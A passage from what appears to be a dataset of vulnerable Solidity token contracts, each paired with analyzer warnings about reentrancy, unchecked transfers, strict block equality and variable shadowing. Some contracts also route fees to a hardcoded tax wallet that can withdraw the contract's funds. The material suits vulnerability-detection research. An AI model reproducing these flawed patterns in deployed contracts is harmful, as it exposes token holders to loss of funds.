67fb609\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 06db2e6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 06db2e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 44355b9): MAGA2024._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 44355b9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 20bddbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 20bddbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3064d00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3064d00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 44355b9\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 06db2e6\n\t\t\t\t// reentrancy-eth | ID: 20bddbe\n\t\t\t\t// reentrancy-eth | ID: 3064d00\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 06db2e6\n\t\t\t\t\t// reentrancy-eth | ID: 20bddbe\n\t\t\t\t\t// reentrancy-eth | ID: 3064d00\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3064d00\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3064d00\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 06db2e6\n\t\t\t\t// reentrancy-eth | ID: 20bddbe\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 06db2e6\n\t\t\t\t\t// reentrancy-eth | ID: 20bddbe\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 20bddbe\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 06db2e6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 20bddbe\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 20bddbe\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 06db2e6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 06db2e6\n\t\t// reentrancy-events | ID: 67fb609\n\t\t// reentrancy-benign | ID: 41df541\n\t\t// reentrancy-eth | ID: 20bddbe\n\t\t// reentrancy-eth | ID: 3064d00\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 06db2e6\n\t\t// reentrancy-events | ID: 67fb609\n\t\t// reentrancy-eth | ID: 20bddbe\n\t\t// reentrancy-eth | ID: 3064d00\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 211e3c9): MAGA2024.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 211e3c9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 211e3c9\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dffcc9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dffcc9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ed2f78): MAGA2024.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2ed2f78: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 54ab367): MAGA2024.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 54ab367: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c09b06e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c09b06e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: dffcc9e\n\t\t// unused-return | ID: 2ed2f78\n\t\t// reentrancy-eth | ID: c09b06e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dffcc9e\n\t\t// unused-return | ID: 54ab367\n\t\t// reentrancy-eth | ID: c09b06e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: dffcc9e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c09b06e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: dffcc9e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10699.sol",
"size_bytes": 22854,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IRouter {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract EtherReceipt is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb1960d): EtherReceipt._taxWallet should be constant \n\t// Recommendation for cb1960d: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x275961a2E8DDcAEaA03191C7623678DCd301E10b);\n\n\t// WARNING Optimization Issue (constable-states | ID: d8d874a): EtherReceipt._tax should be constant \n\t// Recommendation for d8d874a: Add the 'constant' attribute to state variables that never change.\n uint256 private _tax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d39a5b8): EtherReceipt._preventSwap should be constant \n\t// Recommendation for d39a5b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwap = 30;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bb8f0f2): EtherReceipt._taxSwapThreshold should be immutable \n\t// Recommendation for bb8f0f2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _taxSwapThreshold = 800000 * 10 ** decimals();\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c7fc6e): EtherReceipt._sendETHToTaxThreshold should be constant \n\t// Recommendation for 7c7fc6e: Add the 'constant' attribute to state variables that never change.\n uint256 public _sendETHToTaxThreshold = 0.5 ether;\n\n IRouter private router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35e4b71): EtherReceipt.routerAddress should be constant \n\t// Recommendation for 35e4b71: Add the 'constant' attribute to state variables that never change.\n address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = totalSupply();\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), totalSupply());\n }\n\n function name() public pure returns (string memory) {\n return \"Ether Receipt\";\n }\n\n function symbol() public pure returns (string memory) {\n return \"RECEIPT\";\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return 100000000 * 10 ** decimals();\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c95fe9): EtherReceipt.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c95fe9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a5bcbb): EtherReceipt._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a5bcbb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dc21340\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2e512b3\n emit Approval(owner, spender, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e512b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e512b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc21340): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc21340: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2e512b3\n\t\t// reentrancy-benign | ID: dc21340\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2e512b3\n\t\t// reentrancy-benign | ID: dc21340\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - (amount)\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5fe3a4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5fe3a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dadf1bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dadf1bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!inSwap) {\n taxAmount = (amount * _tax) / (100);\n }\n\n if (\n from == pair && to != address(router) && !_isExcludedFromFee[to]\n ) {\n _buyCount++;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n from != pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwap\n ) {\n\t\t\t\t// reentrancy-events | ID: b5fe3a4\n\t\t\t\t// reentrancy-eth | ID: dadf1bd\n cLogConvert(\n _taxSwapThreshold > amount ? amount : _taxSwapThreshold\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > _sendETHToTaxThreshold) {\n\t\t\t\t\t// reentrancy-events | ID: b5fe3a4\n\t\t\t\t\t// reentrancy-eth | ID: dadf1bd\n sendETHToTax(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-eth | ID: dadf1bd\n _balances[from] = _balances[from] - amount;\n\n\t\t// reentrancy-eth | ID: dadf1bd\n _balances[to] = _balances[to] + (amount - taxAmount);\n\n\t\t// reentrancy-events | ID: b5fe3a4\n emit Transfer(from, to, amount - taxAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: dadf1bd\n _balances[address(this)] = _balances[address(this)] + (taxAmount);\n\n\t\t\t// reentrancy-events | ID: b5fe3a4\n emit Transfer(from, address(this), taxAmount);\n }\n }\n\n function cLogConvert(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b5fe3a4\n\t\t// reentrancy-events | ID: 2e512b3\n\t\t// reentrancy-benign | ID: dc21340\n\t\t// reentrancy-eth | ID: dadf1bd\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToTax(uint256 amount) private {\n\t\t// reentrancy-events | ID: b5fe3a4\n\t\t// reentrancy-events | ID: 2e512b3\n\t\t// reentrancy-eth | ID: dadf1bd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c06de27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c06de27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fb59990): EtherReceipt.enableTrading() ignores return value by IERC20(pair).approve(address(router),type()(uint256).max)\n\t// Recommendation for fb59990: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1f8df6): EtherReceipt.enableTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c1f8df6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a721ed8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a721ed8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n router = IRouter(routerAddress);\n\n _approve(address(this), address(router), totalSupply());\n\n\t\t// reentrancy-benign | ID: c06de27\n\t\t// reentrancy-eth | ID: a721ed8\n pair = IFactory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c06de27\n\t\t// unused-return | ID: c1f8df6\n\t\t// reentrancy-eth | ID: a721ed8\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c06de27\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a721ed8\n tradingOpen = true;\n\n\t\t// unused-return | ID: fb59990\n IERC20(pair).approve(address(router), type(uint).max);\n }\n\n function cLogToETH() external {\n require(_msgSender() == _taxWallet);\n\n cLogConvert(balanceOf(address(this)));\n }\n\n function ethToTax(uint256 amount) external {\n require(_msgSender() == _taxWallet);\n\n sendETHToTax(amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8381b2e): EtherReceipt.cLogToTax() ignores return value by IERC20(address(this)).transfer(msg.sender,balanceOf(address(this)))\n\t// Recommendation for 8381b2e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function cLogToTax() external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 8381b2e\n IERC20(address(this)).transfer(msg.sender, balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_107.sol",
"size_bytes": 14937,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract pepeclicktoken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e52a1c): pepeclicktoken._totalSupply should be constant \n\t// Recommendation for 5e52a1c: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 12c4bd3): pepeclicktoken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 12c4bd3: Remove the state variable shadowing.\n uint256 private _totalSupply = 6900000000000000000.690000000000 * 10 ** 18;\n\n constructor() ERC20(\"Pepe Click Token\", \"\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_1070.sol",
"size_bytes": 6821,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IMessageTransmitter {\n function sendMessageWithCaller(\n uint32 destinationDomain,\n bytes32 recipient,\n bytes32 destinationCaller,\n bytes calldata messageBody\n ) external returns (uint64);\n\n function receiveMessage(\n bytes calldata message,\n bytes calldata attestation\n ) external returns (bool success);\n\n function replaceMessage(\n bytes calldata originalMessage,\n bytes calldata originalAttestation,\n bytes calldata newMessageBody,\n bytes32 newDestinationCaller\n ) external;\n\n function usedNonces(bytes32) external view returns (uint256);\n\n function localDomain() external view returns (uint32);\n}\n\ninterface ITokenMessenger {\n function depositForBurnWithCaller(\n uint256 _amount,\n uint32 _destinationDomain,\n bytes32 _mintRecipient,\n address _burnToken,\n bytes32 destinationCaller\n ) external returns (uint64 _nonce);\n}\n\nlibrary Bytes {\n function addressToBytes32(address addr) external pure returns (bytes32) {\n return bytes32(uint256(uint160(addr)));\n }\n\n function bytes32ToAddress(bytes32 _buf) public pure returns (address) {\n return address(uint160(uint256(_buf)));\n }\n\n function slice(\n bytes memory _bytes,\n uint256 _start,\n uint256 _length\n ) internal pure returns (bytes memory) {\n require(_length + 31 >= _length, \"slice_overflow\");\n\n require(_bytes.length >= _start + _length, \"slice_outOfBounds\");\n\n bytes memory tempBytes;\n\n assembly {\n switch iszero(_length)\n case 0 {\n tempBytes := mload(0x40)\n\n let lengthmod := and(_length, 31)\n\n let mc := add(\n add(tempBytes, lengthmod),\n mul(0x20, iszero(lengthmod))\n )\n\n let end := add(mc, _length)\n\n for {\n let cc := add(\n add(\n add(_bytes, lengthmod),\n mul(0x20, iszero(lengthmod))\n ),\n _start\n )\n } lt(mc, end) {\n mc := add(mc, 0x20)\n\n cc := add(cc, 0x20)\n } {\n mstore(mc, mload(cc))\n }\n\n mstore(tempBytes, _length)\n\n mstore(0x40, and(add(mc, 31), not(31)))\n }\n default {\n tempBytes := mload(0x40)\n\n mstore(tempBytes, 0)\n\n mstore(0x40, add(tempBytes, 0x20))\n }\n }\n\n return tempBytes;\n }\n}\n\nlibrary CCTPMessage {\n using TypedMemView for bytes;\n\n using TypedMemView for bytes29;\n\n using Bytes for bytes;\n\n uint8 public constant SOURCE_DOMAIN_INDEX = 4;\n\n uint8 public constant SENDER_INDEX = 20;\n\n uint8 public constant DESTINATION_CALLER_INDEX = 84;\n\n uint8 public constant MESSAGE_BODY_INDEX = 116;\n\n function _sourceDomain(bytes29 _messageRef) private pure returns (uint32) {\n return uint32(_messageRef.indexUint(SOURCE_DOMAIN_INDEX, 4));\n }\n\n function sourceDomain(bytes memory _message) public pure returns (uint32) {\n return _sourceDomain(_message.ref(0));\n }\n\n function _sender(bytes29 _messageRef) private pure returns (bytes32) {\n 